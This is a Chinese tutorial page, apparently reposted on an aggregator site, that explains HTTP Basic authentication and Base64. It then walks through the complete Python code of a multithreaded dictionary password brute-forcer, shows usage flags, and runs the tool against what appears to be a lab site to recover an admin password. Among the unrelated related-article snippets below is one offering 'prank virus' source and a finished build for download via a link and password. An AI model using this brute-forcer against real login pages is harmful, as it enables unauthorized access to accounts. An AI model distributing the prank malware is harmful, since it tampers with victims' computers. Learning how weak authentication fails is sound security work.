網絡安全用python嗎_使用Python進行網絡安全滲透——密碼攻擊測試器

相關文章:

本篇將會涉及:

HTTP 基本認證

對HTTP Basic認證進行密碼暴力攻擊測試

什么是HTTP 基本認證

HTTP基本認證(HTTP Basic Authentication)是HTTP協議中實現Web資源訪問控制的最簡單的認證手段。其通過添加header頭域的方式或者在URL中附帶參數的方式提供認證信息,并通過Base64編碼將認證信息進行編碼傳輸,最后由服務器接收到編碼后的字符進行解碼認證。

當我們訪問一個需要進行HTTP基本認證的網址時,其會通過響應一個401狀態碼,并返回一個認證框來接收用戶輸入的認證信息。如果我們填錯,服務器會繼續返回一個401狀態碼和認證框,如果認證成功,則返回200請求成功狀態碼。

HTTP基本認證一個優點是幾乎所有的現代瀏覽器都支持這種認證方式,非常的簡單方便,但是由于其技術特性,這種認證方式并不是很安全,現在亦多存在于內網環境下的站點。

其采用的Base64編碼加密,也是屬于“防君子不防小人”的加密。利用Python的base64模塊,我們就能夠輕松的進行加密和解密:

import base64

# 原始字符串

a = 'admin123'

# base64編碼加密

b = base64.b64encode(a.encode('utf-8'))

print(str(b,'utf-8'))

# base64編碼解密

c = str(b,'utf-8')

d = base64.b64decode(c)

print(str(d,'utf-8'))

返回的結果為:

YWRtaW4xMjM=

admin123

是不是感覺很坑爹,嗯,就是的。^_^

編寫Python密碼暴力測試器

了解了HTTP基本認證的一些概念,下面我們繼續使用Python編寫一個滲透測試密碼暴力破解器。

照常,我們引入相關的模塊

# coding:utf-8

import requests

import sys

import getopt

import time

from termcolor import colored

from threading import Thread

由于字典中的條目會有很多,所以我們設置一個全局變量,用來標識字典中的密碼是否有效:

global valid

valid = '1'

然后照例我們定義一個橫幅函數,裝飾我們的單調的命令行:

# 程序標識

def banner():

print("\n********************")

name = '''

______ _ _

|___ / (_) | |

/ / _ __ ___ _ ___| |_ ___ _ __

/ / | '_ ` _ \| / __| __/ _ \ '__|

/ /__| | | | | | \__ \ || __/ |

/_____|_| |_| |_|_|___/\__\___|_|

'''

print(name)

print("州的先生-密碼暴力測試器 v1.0")

print("***********************")

接著,仍然是程序的使用參數方法示例:

# 程序用法

def usage():

print("州的先生密碼暴力測試器使用方法:")

print(" -w:網址 (http://wensite.com/admin)")

print(" -u:用戶名")

print(" -t:線程數")

print(" -f:字典文件")

print("例子:bruteforcer.py -w http://zmister.com/admin -u admin -t 5 -f commom.txt")

接著就是我們的主類request_performer():

class request_performer(Thread):

def __init__(self,name,user,url):

Thread.__init__(self)

try:

self.password = name.split("\n")[0]

self.username = user

self.url = url

except Exception as e:

print(e)

def run(self):

global valid

if valid == '1':

try:

r = requests.get(self.url,auth=(self.username,self.password))

if r.status_code == 200:

valid = '0'

print("[+]發現密碼:"+ colored(self.password,'green'))

sys.exit()

else:

print("無效的密碼:"+ self.password)

i[0] = i[0] - 1

except Exception as e:

print(e)

最后是啟動線程的函數launcher_thread()和啟動程序的函數start():

def start(argv):

banner()

if len(sys.argv) < 5:

usage()

sys.exit()

try:

opts, args = getopt.getopt(argv, "u:w:f:t:")

except getopt.GetoptError:

print("錯誤的參數")

sys.exit()

for opt, args in opts:

if opt == '-u':

user = args

elif opt == '-w':

url = args

elif opt == '-f':

dicts = args

elif opt == '-t':

threads = args

try:

f = open(dicts, 'r')

passwords = f.readlines()

except:

print("打開文件錯誤:", dicts, "\n")

sys.exit()

launcher_thread(passwords,threads,user,url)

def launcher_thread(passwords,th,username,url):

global i

i = []

print("==============================================")

i.append(0)

while len(passwords):

if valid == '1':

try:

if i[0] < int(th):

passwd = passwords.pop(0)

i[0] = i[0]+1

thread = request_performer(passwd,username,url)

thread.start()

except KeyboardInterrupt:

print("用戶停止了程序運行。完成探測")

sys.exit()

thread.join()

return True

在命令行終端運行命令:

python passBruteForcer.py -w http://www.scruffybank.com/Admin -u admin -t 5 -f pass.txt

結果顯示發現了一個密碼“administrator”

我們打開http://www.scruffybank.com/Admin,使用用戶名admin和密碼administrator登錄,看看能否成功登錄。

結果認證成功進入了一個目錄內,說明我們的弱口令密碼暴力測試成功了。

下一篇,我們將改進我們的密碼暴力測試器,讓其支持更加安全的認證方式——HTTP摘要認證。

敬請期待!

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/271074.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/271074.shtml
英文地址,請注明出處:http://en.pswp.cn/news/271074.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

EJB3 學習筆記六

開發表音映射的實體 Java持久化規范(JPA),即是實體bean通遠元數據在javaBean和數據庫之間建立映射關系,常見的hibernate toplink openjpa 在src目錄下添加META-INF/persistence.xml文件,示例代碼如下: <?xmlversion"1.0"encoding"UTF-8"?> <…

棧出現的異常和設置棧的大小-Xss

異常 java.lang.StackOverflowError 看下面的例子&#xff0c;默認的棧內存 設置棧內存 使用參數-Xss大小來設置棧的大小

bmp 像素點 php,讀取BMP圖像每一像素點RGB數據 | 學步園

對于24位bmp圖片&#xff0c;每一個像素點存放著此點的RGB值。首先定義一個結構體&#xff0c;包含紅(red)、綠(green)、藍(blue)這三個字段&#xff0c;如下&#xff1a;//像素顏色值typedef struct tagPOINT{BYTE b;BYTE g;BYTE r;} POINT;接下來定義用來存放每一像素點RGB值…

項目管理基礎:系統評價相關知識

1、概念軟件系統的評價分為廣義評價和狹義評價。廣義評價&#xff1a;主要是指系統從開發開始到結束的過程中&#xff0c;每個階段都要進行系統評價。狹義評價&#xff1a;主要是指在系統建成后并投入運行之后進行全面、綜合的評價。2、廣義評價分類根據時間與軟件系統所處的階…

AutoHotKey程序防止反編譯的簡單手段

可以使用AutoHotKey自帶的工具。 AutoHotKey安裝完成后&#xff08;我使用的是1.1.0.0&#xff09;&#xff0c;找到安裝所在目錄下的文件&#xff1a;\Compiler\Ahk2Exe.exe。 程序界面如下&#xff1a; 簡單使用&#xff1a; 1、選擇源文件&#xff08;script file) 2、選擇目…

table合并單元格_制作課程表3——合并單元格

由于瀏覽器兼容問題&#xff0c;、 以及 很少被使用&#xff0c;所以我們將課程表依然使用tr、td元素&#xff0c;結合樣式實現出前面案例中效果原來代碼&#xff1a;課程1 課程2 課程3 課程4 課程5 課程1 課程2 課程3 課程4 課程5 課程1 課程2 課程3 課程4 課程5 課程1 …

php join a.id b.id,mysql求助 請問where a.id=b.id 和join on a.id=b.id 在效率上的區別

下面是ecshop 的商品表和品牌表的查詢&#xff0c;請問它們的查詢效率有什么區別呢&#xff1f;還有一個問題是 left join 和join的效率哪個高一點呢。謝謝 &#xff01;&#xff01;SELECT a.goods_id , a.goods_name , b.brand_nameFROM ecs_goods AS aLEFT JOIN ecs_brand A…

數據庫設計:數據庫應用系統的生命周期

數據庫應用系統的生命周期可以劃分為&#xff1a;數據庫規劃、需求描述與分析、數據庫與應用程序設計、數據庫設計實現、數據庫測試、數據庫運維。1、數據庫規劃 數據庫規劃是創建數據庫應用系統的第一步&#xff0c;也是數據庫應用系統的任務描述和目標的明確。數據庫規劃的內…

從零開始,做一個NodeJS博客(四):服務器渲染頁面與Pjax

標簽&#xff1a; NodeJS 0 一個星期沒更新了 一直在忙著重構代碼&#xff0c;以及解決重構后出現的各種bug 現在CSS也有一點了&#xff0c;是時候把遇到的各種坑盤點一下了 1 聽歌排行 API 修復與重構 1.1 修復 在加載云音樂聽歌排行的時候&#xff0c;有時會出現一個奇怪的…

java 簡單事件的使用,如何正確的使用Java事件通知(1)

如何正確的使用Java事件通知(1)通過實現觀察者模式來提供 Java 事件通知(Java event notification)似乎不是件什么難事兒&#xff0c;但這過程中也很容易就掉進一些陷阱。本文介紹了我自己在各種情形下&#xff0c;不小心制造的一些常見錯誤。Java 事件通知讓我們從一個最簡單的…

Java 自動裝箱與拆箱

Java 自動裝箱與拆箱 裝箱就是自動將基本數據類型轉換為包裝器類型&#xff08;int–>Integer&#xff09;&#xff1b;調用方法&#xff1a;Integer 的 valueOf(int) 方法 拆箱就是自動將包裝器類型轉換為基本數據類型&#xff08;Integer–>int&#xff09;。調用方法…

基本系統設備感嘆號_win7系統網絡圖標顯示感嘆號的問題

有系統之家的小伙伴&#xff0c;在使用win764位純凈版系統上網的時候&#xff0c;出現網絡圖標顯示感嘆號的問題。這種問題我們可以通過在網絡檢測修復中進行自行檢測。或者是檢查一下是不是硬件設備的問題。詳細解決步驟就來看下系統哥小編是怎么做的吧~win7 64系統無法上網顯…

LVM邏輯卷,RAID磁盤陣列

磁盤管理&#xff1a; 有關硬盤的識別&#xff0c;linux根據設備類型對存儲設備進行識別&#xff0c;如果是IDE設備&#xff0c; 在計算機中會被識別為hd&#xff0c;第一個IDE設備會被識別為hda&#xff0c;第二個IDE設備會被識別為hdb&#xff0c;依次類推。如果是SATA,USB,S…

硬件編程:STM32串口發送數據和接收數據方式總結!

串口發送數據1、串口發送數據最直接的方式就是標準調用庫函數 。void USART_SendData(USART_TypeDef* USARTx, uint16_t Data);第一個參數是發送的串口號&#xff0c;第二個參數是要發送的數據&#xff0c;但是用過的朋友應該覺得不好用&#xff0c;一次只能發送單個字符&#…

Java編程題修院子,了解java虛擬機—JVM相關參數設置(2)

1. JVM相關參數設置JVM相關配置-XX:PrintGC兩次次YoungGC&#xff0c;兩次FullGC。-XX:PrintGCDetails打印GC時的內存&#xff0c;并且在程序結束時打印堆內存使用情況-XX:PrintHeapAtGC每次GC時會分別打印回收前與回收后堆信息-XX:PrintGCTimeStamps選擇打印GC的方式后&…

此異常最初是在此調用堆棧中引發的:_【8】進大廠必須掌握的面試題Java面試異常和線程...

點擊上方“全棧程序員社區”&#xff0c;星標公眾號重磅干貨&#xff0c;第一時間送達Q1。錯誤和異常有什么區別&#xff1f;錯誤是在運行時發生的不可恢復的情況。如OutOfMemory錯誤。這些JVM錯誤無法在運行時修復。盡管可以在catch塊中捕獲錯誤&#xff0c;但是應用程序的執行…

高仿帶感魔性病毒源碼+成品(最近很火的)

高仿帶感魔性病毒源碼成品&#xff08;最近很火的&#xff09;娛樂使用。沒破壞性 會改壁紙和打亂桌面圖標順序 自己改回來就好 演示地址&#xff1a; 下載地址&#xff1a;鏈接: http://pan.baidu.com/s/1dF2ZlU5 密碼: m95p轉載于:https://www.cnblogs.com/blogwy/p/5804711.…

數據庫設計:數據庫設計的基本步驟介紹

數據庫設計主要包括用戶需求分析、概念結構設計、邏輯結構設計、物理結構設計、數據庫實施階段、數據庫運行和維護階段等六個階段。1、用戶需求分析 數據庫設計人員采用相應的輔助工具對應用對象的功能、性能、限制等要求進行科學實際的分析。2、概念結構設計 概念結構設計主要…

Hashcode 的作用

java 的集合有兩類&#xff0c;一類是 List&#xff0c;還有一類是 Set。前者有序可重復&#xff0c;后者無序不重復。當我們在 set 中插入的時候怎么判斷是否已經存在該元素呢&#xff0c;可以通過 equals 方法。但是如果元素太多&#xff0c;用這樣的方法就會比較滿。 于是有…

坎蒂雷賦權法 matlab,干貨 | 利用MATLAB實現FMCW雷達中的常用角度估計方法

其中在介紹角度估計中&#xff0c;通過對接收差頻信號在快慢時間維度的擴展&#xff0c;增加了空域的信息。擴展后的接收差頻信號可以表示為其中k表示接收天線的個數&#xff0c;d為天線間距。在“干貨|利用MATLAB實現FMCW雷達的角度估計”中&#xff0c;已經介紹了如何理解目標…